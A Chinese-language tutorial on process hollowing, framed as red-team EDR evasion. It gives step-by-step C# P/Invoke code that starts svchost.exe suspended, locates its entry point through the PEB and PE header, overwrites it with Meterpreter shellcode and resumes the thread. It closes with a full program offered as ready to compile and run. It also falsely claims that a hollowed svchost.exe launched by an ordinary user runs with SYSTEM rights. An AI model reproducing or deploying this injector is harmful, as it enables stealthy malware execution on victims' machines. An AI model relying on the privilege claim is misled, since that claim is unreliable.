进程镂空(Process Hollowing,又称进程挖空、进程替换)是 Windows 平台高级进程注入技术,核心是创建合法进程并挂起,清空其原有代码,替换为恶意代码后恢复执行,让恶意行为伪装在系统信任进程(如 svchost.exe)中,大幅提升隐蔽性与权限,是渗透测试与红队对抗 EDR 的核心手段。
一、核心原理与设计目标
1. 解决的核心痛点
● 常规注入无法突破完整性级别限制:svchost.exe 默认运行在SYSTEM 完整性级别,普通用户进程(中等完整性)无法直接注入。
● 规避安全检测:svchost.exe 是 Windows 核心系统进程,天然产生网络通信,恶意代码运行其中可伪装成正常系统行为。
● 提升权限:通过替换系统进程代码,可获取与目标进程一致的高权限(如 SYSTEM 权限)。
2. 核心逻辑
1. 以挂起状态创建目标合法进程(如 svchost.exe),此时进程已完成内存分配、PE 加载,但主线程未执行任何代码。
2. 解析目标进程的PE 文件结构,定位其代码入口点(EntryPoint)。
3. 用恶意代码(如 Meterpreter Shellcode)覆盖目标进程入口点及对应内存区域。
4. 恢复挂起的主线程,恶意代码以目标进程身份执行,实现“借壳运行”。
3. 关键技术前提
● 挂起进程创建:必须通过原生 CreateProcessW API 实现,.NET 高级 API(如 Process.Start)不支持挂起模式。
● PE 结构解析:需掌握 Windows PE 文件格式,定位基地址、PE 头、入口点 RVA(相对虚拟地址)。
● 跨进程内存操作:依赖 ReadProcessMemory、WriteProcessMemory 实现远程进程内存读写。
● 线程控制:通过 ResumeThread 恢复挂起线程,触发恶意代码执行。
二、核心API与数据结构(C# P/Invoke实现)
进程镂空依赖 Windows 原生 API,需通过 C# 的 P/Invoke 导入,以下是核心组件:
1. 核心API清单
2. 核心数据结构(P/Invoke定义)
(1)STARTUPINFO:进程启动配置
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb; // 结构体大小,必须赋值
public IntPtr lpReserved; // 保留,设为IntPtr.Zero
public IntPtr lpDesktop; // 桌面名,默认即可
public IntPtr lpTitle; // 窗口标题,默认即可
// 其余窗口相关参数,均设为0或IntPtr.Zero
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
(2)PROCESS_INFORMATION:进程信息输出
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess; // 目标进程句柄(核心)
public IntPtr hThread; // 目标进程主线程句柄(核心)
public int dwProcessId; // 进程ID
public int dwThreadId; // 线程ID
}
(3)PROCESS_BASIC_INFORMATION:进程基础信息(含PEB)
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1; // 保留
public IntPtr PebAddress; // PEB(进程环境块)地址(核心)
public IntPtr Reserved2; // 保留
public IntPtr Reserved3; // 保留
public IntPtr UniquePid; // 进程唯一ID
public IntPtr MoreReserved; // 保留
}
三、完整实现步骤(C#代码+原理拆解)
步骤1:创建挂起的目标进程(以svchost.exe为例)
(1)API导入
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
(2)代码实现
// 初始化启动配置与进程信息结构体
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si); // 必须赋值结构体大小
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
// 创建挂起的svchost.exe进程(关键:dwCreationFlags=0x4=CREATE_SUSPENDED)
bool createSuccess = CreateProcess(
null, // 应用名,设为null,通过命令行指定进程
"C:\\Windows\\System32\\svchost.exe", // 目标进程路径
IntPtr.Zero, // 进程安全属性,默认
IntPtr.Zero, // 线程安全属性,默认
false, // 不继承句柄
0x4, // CREATE_SUSPENDED,核心挂起标志
IntPtr.Zero, // 环境变量,默认
null, // 当前目录,默认
ref si, // 启动配置
out pi // 输出进程信息(含进程/线程句柄)
);
if (!createSuccess)
{
Console.WriteLine($"创建挂起进程失败,错误码:{Marshal.GetLastWin32Error()}");
return;
}
// 后续操作依赖pi.hProcess(进程句柄)和pi.hThread(主线程句柄)
(3)原理拆解
● CreateProcessW 执行后,系统完成 3 件事:分配虚拟内存、创建 PEB/TEB、加载 svchost.exe 的 PE 文件到内存,但主线程处于挂起状态,未执行任何代码。
● 必须指定 svchost.exe 完整路径,否则无法创建系统进程。
步骤2:获取目标进程的PEB地址(定位进程基地址)
(1)API导入
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess,
int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
uint ProcInfoLen, ref uint retlen);
(2)代码实现
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
uint returnLength = 0;
// 查询进程基础信息,获取PEB地址(procInformationClass=0=ProcessBasicInformation)
int queryStatus = ZwQueryInformationProcess(
pi.hProcess, // 目标进程句柄
0, // 查询类型:进程基础信息
ref pbi, // 输出结构体(含PEB地址)
(uint)(IntPtr.Size * 6), // 结构体大小(6个IntPtr)
ref returnLength // 实际返回长度
);
if (queryStatus != 0) // NTSTATUS=0表示成功
{
Console.WriteLine($"查询PEB失败,状态码:{queryStatus:X}");
return;
}
// 从PEB中获取进程基地址(PEB偏移0x10处存储ImageBase)
IntPtr pImageBase = (IntPtr)((long)pbi.PebAddress + 0x10);
(3)原理拆解
● ZwQueryInformationProcess 是 ntdll.dll 中的底层 API,用于获取进程各类信息,ProcessBasicInformation(0)可返回 PEB 地址。
● PEB(进程环境块)是 Windows 内核为每个进程维护的核心数据结构,偏移 0x10 处存储进程的 ImageBase(基地址),即 PE 文件在内存中的加载起始地址。
步骤3:读取PE头,定位入口点(EntryPoint)
(1)API导入(ReadProcessMemory)
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
(2)代码实现(PE结构解析核心)
// 1. 读取进程基地址(ImageBase)的值(64位进程读8字节)
byte[] imageBaseBuffer = new byte[IntPtr.Size];
IntPtr bytesRead = IntPtr.Zero;
ReadProcessMemory(pi.hProcess, pImageBase, imageBaseBuffer, imageBaseBuffer.Length, out bytesRead);
IntPtr svchostBase = (IntPtr)BitConverter.ToInt64(imageBaseBuffer, 0); // 64位进程用ToInt64
// 2. 读取PE头前0x200字节(足够解析核心结构)
byte[] peHeaderBuffer = new byte[0x200];
ReadProcessMemory(pi.hProcess, svchostBase, peHeaderBuffer, peHeaderBuffer.Length, out bytesRead);
// 3. 解析PE结构,定位入口点RVA
// (1)读取e_lfanew:偏移0x3C处,存储PE头相对于ImageBase的偏移
uint e_lfanew = BitConverter.ToUInt32(peHeaderBuffer, 0x3C);
// (2)定位可选头入口点:PE头偏移0x28处,存储入口点RVA(相对虚拟地址)
uint entryPointRva = BitConverter.ToUInt32(peHeaderBuffer, (int)(e_lfanew + 0x28));
// (3)计算绝对入口地址:ImageBase + 入口点RVA
IntPtr entryPointAddress = (IntPtr)((ulong)svchostBase + entryPointRva);
(3)PE结构解析原理(关键)
Windows PE 文件结构固定,核心解析逻辑:
1. MZ 头:PE 文件起始(偏移 0x00)为 0x5A4D(MZ 标志),偏移 0x3C 处的 e_lfanew 字段,存储PE 头相对于 ImageBase 的偏移。
2. PE 头:ImageBase + e_lfanew 即为 PE 头起始地址,PE 头偏移 0x28 处的 AddressOfEntryPoint 字段,存储入口点 RVA(相对虚拟地址,相对于 ImageBase 的偏移)。
3. 绝对入口地址:ImageBase + AddressOfEntryPoint,即进程代码的实际执行起始地址。
步骤4:写入恶意代码(覆盖入口点)
(1)API导入(WriteProcessMemory)
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
(2)代码实现
// 生成64位Meterpreter Shellcode(msfvenom生成,示例为截断)
byte[] maliciousShellcode = new byte[] {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00,
// 省略剩余Shellcode(完整长度约600-700字节)
};
// 将恶意代码写入目标进程的入口点内存
bool writeSuccess = WriteProcessMemory(
pi.hProcess, // 目标进程句柄
entryPointAddress, // 入口点绝对地址
maliciousShellcode, // 恶意代码
maliciousShellcode.Length, // 代码长度
out bytesRead // 实际写入长度
);
if (!writeSuccess)
{
Console.WriteLine($"写入恶意代码失败,错误码:{Marshal.GetLastWin32Error()}");
return;
}
(3)原理拆解
● 入口点是进程执行的起始位置,覆盖此处后,线程恢复执行时会直接运行恶意代码,而非原 svchost.exe 的合法代码。
● 需确保恶意代码长度不超过入口点所在内存页的可用空间,否则会覆盖其他关键数据导致进程崩溃。
步骤5:恢复挂起线程,执行恶意代码
(1)API导入(ResumeThread)
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
(2)代码实现
// 恢复挂起的主线程,触发恶意代码执行
uint resumeResult = ResumeThread(pi.hThread);
if (resumeResult == uint.MaxValue)
{
Console.WriteLine($"恢复线程失败,错误码:{Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine("进程镂空完成,恶意代码已在svchost.exe中执行!");
(3)原理拆解
● ResumeThread 会将挂起的主线程从“暂停”状态切换为“运行”状态,此时线程会从入口点地址开始执行,即我们写入的恶意代码。
● 恶意代码以 svchost.exe 的身份运行,拥有与 svchost.exe 一致的权限(通常为 SYSTEM),且网络行为伪装为系统进程通信。
四、完整C#代码示例(可直接编译运行)
using System;
using System.Runtime.InteropServices;
namespace ProcessHollowing
{
class Program
{
// 1. 核心API导入
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess,
int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
// 2. 核心数据结构
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
static void Main(string[] args)
{
// 步骤1:创建挂起的svchost.exe进程
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool createSuccess = CreateProcess(
null,
"C:\\Windows\\System32\\svchost.exe",
IntPtr.Zero,
IntPtr.Zero,
false,
0x4, // CREATE_SUSPENDED
IntPtr.Zero,
null,
ref si,
out pi
);
if (!createSuccess)
{
Console.WriteLine($"创建挂起进程失败:{Marshal.GetLastWin32Error()}");
return;
}
// 步骤2:获取PEB地址,定位ImageBase
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
uint returnLength = 0;
int queryStatus = ZwQueryInformationProcess(
pi.hProcess,
0,
ref pbi,
(uint)(IntPtr.Size * 6),
ref returnLength
);
if (queryStatus != 0)
{
Console.WriteLine($"查询PEB失败:{queryStatus:X}");
return;
}
IntPtr pImageBase = (IntPtr)((long)pbi.PebAddress + 0x10);
// 步骤3:读取ImageBase,解析PE头定位入口点
byte[] imageBaseBuffer = new byte[IntPtr.Size];
IntPtr bytesRead = IntPtr.Zero;
ReadProcessMemory(pi.hProcess, pImageBase, imageBaseBuffer, imageBaseBuffer.Length, out bytesRead);
IntPtr svchostBase = (IntPtr)BitConverter.ToInt64(imageBaseBuffer, 0);
byte[] peHeaderBuffer = new byte[0x200];
ReadProcessMemory(pi.hProcess, svchostBase, peHeaderBuffer, peHeaderBuffer.Length, out bytesRead);
uint e_lfanew = BitConverter.ToUInt32(peHeaderBuffer, 0x3C);
uint entryPointRva = BitConverter.ToUInt32(peHeaderBuffer, (int)(e_lfanew + 0x28));
IntPtr entryPointAddress = (IntPtr)((ulong)svchostBase + entryPointRva);
// 步骤4:写入恶意Shellcode(替换为实际生成的Shellcode)
byte[] maliciousShellcode = new byte[] {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00,
// 此处替换为完整的64位Meterpreter Shellcode
};
bool writeSuccess = WriteProcessMemory(
pi.hProcess,
entryPointAddress,
maliciousShellcode,
maliciousShellcode.Length,
out bytesRead
);
if (!writeSuccess)
{
Console.WriteLine($"写入Shellcode失败:{Marshal.GetLastWin32Error()}");
return;
}
// 步骤5:恢复线程,执行恶意代码
uint resumeResult = ResumeThread(pi.hThread);
if (resumeResult == uint.MaxValue)
{
Console.WriteLine($"恢复线程失败:{Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine("进程镂空执行成功!");
}
}
}